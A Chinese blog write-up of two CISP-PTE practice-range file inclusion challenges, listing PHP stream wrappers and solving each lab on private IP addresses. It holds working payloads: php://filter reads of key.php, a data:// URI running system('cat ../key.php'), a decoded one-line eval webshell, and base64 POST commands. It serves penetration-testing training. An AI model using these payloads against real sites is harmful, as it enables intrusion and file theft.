cisp-pte靶场通关思路分享----文件包含篇

文件包含漏洞利用的前提:

  1. web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参数的方式引入;
  2. 用户能够控制包含文件的参数,被包含的文件可被当前页面访问。

伪协议文件包含:

  • file:// 访问本地文件系统
  • http(s):// 访问 HTTPs 网址
  • ftp:// 访问 ftp URL
  • php:// 访问输入/输出流
  • Zlib:// 压缩流
  • Data:// 数据
  • Ssh2:// security shell2
  • Expect:// 处理交互式的流
  • Glob:// 查找匹配的文件路径
  • phar:// PHP归档
  • rar:// RAR
  • ogg:// 音频流

常用伪协议讲解:

1. file://

(1)这个协议可以展现本地文件系统,默认目录是当前的工作目录。

(2)例如:file:///etc/passwd、file://key.txt

2. php://

(1) php://input是个可以访问请求的原始数据的只读流,可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。

(2) php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。

3、phar://

(1)phar://数据流包装器自PHP5.3.0起开始有效

(2)例如:phar://E:/phpstudy/www/1.zip/phpinfo.txt

phar://1.zip/phpinfo.txt

伪协议利用方式小总结:

靶场一:

文件包含在这个靶场里主要考察伪协议:想了解更多的自行问度娘,这里只说解题思路。

 构造payload

http://192.168.43.99:8083/vulnerabilities/fu1.php?file=php://filter/read=convert.base64-encode/resource=../key.php或者

http://192.168.43.99:8083/vulnerabilities/fu1.php?file=php://filter/convert.base64-encode/resource=../key.php

解密即可拿到key。

还有date协议在这里也可以用: 

data:text/plain,<?php system(whoami)?>

构造payload:

http://192.168.43.99:8083/vulnerabilities/fu1.php?file=data:text/plain,%3C?php%20system(%27cat%20../key.php%27)?%3E


靶场二:

查看view.html源码可知是里面的参数

W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=解密为

[@eval(base64_decode($_POST[z0]));]一个一句话木马

有两种解题的思路:一种直接连接这个一句话木马,只能用Cknife,还有一种直接传参读文件。

解法一:

修改config.ini文件为:

ACTION=z0PHP_MAKE=http://192.168.43.72:83/start/index.php?file=view.html

密码Hello=0

 

解法二: 

首先把这串字符串通过base64解码可得[@eval(base64_decode($_POST[z0]));]

发现POST参数decode后用eval函数执行,所以构造payload:Hello=123&z0=system('cat ../key.php');
再进行base64加密最后:Hello=123&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==
获取key:

 

至此文件包含的两套靶场就成功拿下来,确实学到了很多知识。 

原文地址:https://www.cnblogs.com/xyz315/p/14869894.html